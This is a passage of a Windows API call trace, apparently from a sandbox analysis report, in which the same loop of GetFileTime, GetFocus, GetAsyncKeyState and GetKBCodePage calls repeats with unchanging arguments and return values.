lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.110] GetFocus () returned 0x0 [0026.110] GetAsyncKeyState (vKey=58) returned 0 [0026.111] GetKBCodePage () returned 0x1b5 [0026.111] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.111] GetFocus () returned 0x0 [0026.111] GetAsyncKeyState (vKey=58) returned 0 [0026.111] GetKBCodePage () returned 0x1b5 [0026.111] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.111] GetFocus () returned 0x0 [0026.111] GetAsyncKeyState (vKey=58) returned 0 [0026.111] GetKBCodePage () returned 0x1b5 [0026.111] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.111] GetFocus () returned 0x0 [0026.111] GetAsyncKeyState (vKey=58) returned 0 [0026.111] GetKBCodePage () returned 0x1b5 [0026.111] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.111] GetFocus () returned 0x0 [0026.111] GetAsyncKeyState (vKey=58) returned 0 [0026.111] GetKBCodePage () returned 0x1b5 [0026.111] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.111] GetFocus () returned 0x0 [0026.111] GetAsyncKeyState (vKey=58) returned 0 [0026.111] GetKBCodePage () returned 0x1b5 [0026.111] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.111] GetFocus () returned 0x0 [0026.111] GetAsyncKeyState (vKey=58) returned 0 [0026.111] GetKBCodePage () returned 0x1b5 [0026.111] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.111] GetFocus () returned 0x0 [0026.111] GetAsyncKeyState (vKey=58) returned 0 [0026.111] GetKBCodePage () returned 0x1b5 [0026.111] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.111] GetFocus () returned 0x0 [0026.111] GetAsyncKeyState (vKey=58) returned 0 [0026.111] GetKBCodePage () returned 0x1b5 [0026.111] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.111] GetFocus () returned 0x0 [0026.112] GetAsyncKeyState (vKey=58) returned 0 [0026.112] GetKBCodePage () returned 0x1b5 [0026.112] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.112] GetFocus () returned 0x0 [0026.112] GetAsyncKeyState (vKey=58) returned 0 [0026.112] GetKBCodePage () returned 0x1b5 [0026.112] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.112] GetFocus () returned 0x0 [0026.112] GetAsyncKeyState (vKey=58) returned 0 [0026.112] GetKBCodePage () returned 0x1b5 [0026.112] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.112] GetFocus () returned 0x0 [0026.112] GetAsyncKeyState (vKey=58) returned 0 [0026.112] GetKBCodePage () returned 0x1b5 [0026.112] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.112] GetFocus () returned 0x0 [0026.112] GetAsyncKeyState (vKey=58) returned 0 [0026.112] GetKBCodePage () returned 0x1b5 [0026.112] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.112] GetFocus () returned 0x0 [0026.112] GetAsyncKeyState (vKey=58) returned 0 [0026.112] GetKBCodePage () returned 0x1b5 [0026.112] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.112] GetFocus () returned 0x0 [0026.112] GetAsyncKeyState (vKey=58) returned 0 [0026.112] GetKBCodePage () returned 0x1b5 [0026.112] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.112] GetFocus () returned 0x0 [0026.112] GetAsyncKeyState (vKey=58) returned 0 [0026.112] GetKBCodePage () returned 0x1b5 [0026.113] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.113] GetFocus () returned 0x0 [0026.113] GetAsyncKeyState (vKey=58) returned 0 [0026.113] GetKBCodePage () returned 0x1b5 [0026.113] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.113] GetFocus () returned 0x0 [0026.113] GetAsyncKeyState (vKey=58) returned 0 [0026.113] GetKBCodePage () returned 0x1b5 [0026.113] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.113] GetFocus () returned 0x0 [0026.113] GetAsyncKeyState (vKey=58) returned 0 [0026.113] GetKBCodePage () returned 0x1b5 [0026.113] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.113] GetFocus () returned 0x0 [0026.113] GetAsyncKeyState (vKey=58) returned 0 [0026.113] GetKBCodePage () returned 0x1b5 [0026.113] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.113] GetFocus () returned 0x0 [0026.113] GetAsyncKeyState (vKey=58) returned 0 [0026.113] GetKBCodePage () returned 0x1b5 [0026.113] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.113] GetFocus () returned 0x0 [0026.113] GetAsyncKeyState (vKey=58) returned 0 [0026.113] GetKBCodePage () returned 0x1b5 [0026.113] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.113] GetFocus () returned 0x0 [0026.113] GetAsyncKeyState (vKey=58) returned 0 [0026.113] GetKBCodePage () returned 0x1b5 [0026.113] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.113] GetFocus () returned 0x0 [0026.113] GetAsyncKeyState (vKey=58) returned 0 [0026.113] GetKBCodePage () returned 0x1b5 [0026.113] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.113] GetFocus () returned 0x0 [0026.113] GetAsyncKeyState (vKey=58) returned 0 [0026.114] GetKBCodePage () returned 0x1b5 [0026.114] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.114] GetFocus () returned 0x0 [0026.114] GetAsyncKeyState (vKey=58) returned 0 [0026.114] GetKBCodePage () returned 0x1b5 [0026.114] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.114] GetFocus () returned 0x0 [0026.114] GetAsyncKeyState (vKey=58) returned 0 [0026.114] GetKBCodePage () returned 0x1b5 [0026.114] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.114] GetFocus () returned 0x0 [0026.114] GetAsyncKeyState (vKey=58) returned 0 [0026.114] GetKBCodePage () returned 0x1b5 [0026.114] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.114] GetFocus () returned 0x0 [0026.114] GetAsyncKeyState (vKey=58) returned 0 [0026.114] GetKBCodePage () returned 0x1b5 [0026.114] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.114] GetFocus () returned 0x0 [0026.114] GetAsyncKeyState (vKey=58) returned 0 [0026.114] GetKBCodePage () returned 0x1b5 [0026.114] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.114] GetFocus () returned 0x0 [0026.114] GetAsyncKeyState (vKey=58) returned 0 [0026.114] GetKBCodePage () returned 0x1b5 [0026.114] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.114] GetFocus () returned 0x0 [0026.114] GetAsyncKeyState (vKey=58) returned 0 [0026.114] GetKBCodePage () returned 0x1b5 [0026.114] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.114] GetFocus () returned 0x0 [0026.114] GetAsyncKeyState (vKey=58) returned 0 [0026.114] GetKBCodePage () returned 0x1b5 [0026.114] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.115] GetFocus () returned 0x0 [0026.115] GetAsyncKeyState (vKey=58) returned 0 [0026.115] GetKBCodePage () returned 0x1b5 [0026.115] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.115] GetFocus () returned 0x0 [0026.115] GetAsyncKeyState (vKey=58) returned 0 [0026.115] GetKBCodePage () returned 0x1b5 [0026.115] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.115] GetFocus () returned 0x0 [0026.115] GetAsyncKeyState (vKey=58) returned 0 [0026.115] GetKBCodePage () returned 0x1b5 [0026.115] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.115] GetFocus () returned 0x0 [0026.115] GetAsyncKeyState (vKey=58) returned 0 [0026.115] GetKBCodePage () returned 0x1b5 [0026.115] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.115] GetFocus () returned 0x0 [0026.115] GetAsyncKeyState (vKey=58) returned 0 [0026.115] GetKBCodePage () returned 0x1b5 [0026.115] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.115] GetFocus () returned 0x0 [0026.115] GetAsyncKeyState (vKey=58) returned 0 [0026.115] GetKBCodePage () returned 0x1b5 [0026.115] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.115] GetFocus () returned 0x0 [0026.115] GetAsyncKeyState (vKey=58) returned 0 [0026.115] GetKBCodePage () returned 0x1b5 [0026.115] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.115] GetFocus () returned 0x0 [0026.115] GetAsyncKeyState (vKey=58) returned 0 [0026.115] GetKBCodePage () returned 0x1b5 [0026.115] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.115] GetFocus () returned 0x0 [0026.115] GetAsyncKeyState (vKey=58) returned 0 [0026.115] GetKBCodePage () returned 0x1b5 [0026.115] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.116] GetFocus () returned 0x0 [0026.116] GetAsyncKeyState (vKey=58) returned 0 [0026.116] GetKBCodePage () returned 0x1b5 [0026.116] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.116] GetFocus () returned 0x0 [0026.116] GetAsyncKeyState (vKey=58) returned 0 [0026.116] GetKBCodePage () returned 0x1b5 [0026.116] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.116] GetFocus () returned 0x0 [0026.116] GetAsyncKeyState (vKey=58) returned 0 [0026.116] GetKBCodePage () returned 0x1b5 [0026.116] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.116] GetFocus () returned 0x0 [0026.116] GetAsyncKeyState (vKey=58) returned 0 [0026.116] GetKBCodePage () returned 0x1b5 [0026.116] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.116] GetFocus () returned 0x0 [0026.116] GetAsyncKeyState (vKey=58) returned 0 [0026.116] GetKBCodePage () returned 0x1b5 [0026.116] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.116] GetFocus () returned 0x0 [0026.116] GetAsyncKeyState (vKey=58) returned 0 [0026.116] GetKBCodePage () returned 0x1b5 [0026.116] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.116] GetFocus () returned 0x0 [0026.116] GetAsyncKeyState (vKey=58) returned 0 [0026.116] GetKBCodePage () returned 0x1b5 [0026.116] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.116] GetFocus () returned 0x0 [0026.116] GetAsyncKeyState (vKey=58) returned 0 [0026.116] GetKBCodePage () returned 0x1b5 [0026.116] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.116] GetFocus () returned 0x0 [0026.116] GetAsyncKeyState (vKey=58) returned 0 [0026.116] GetKBCodePage () returned 0x1b5 [0026.117] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.117] GetFocus () returned 0x0 [0026.117] 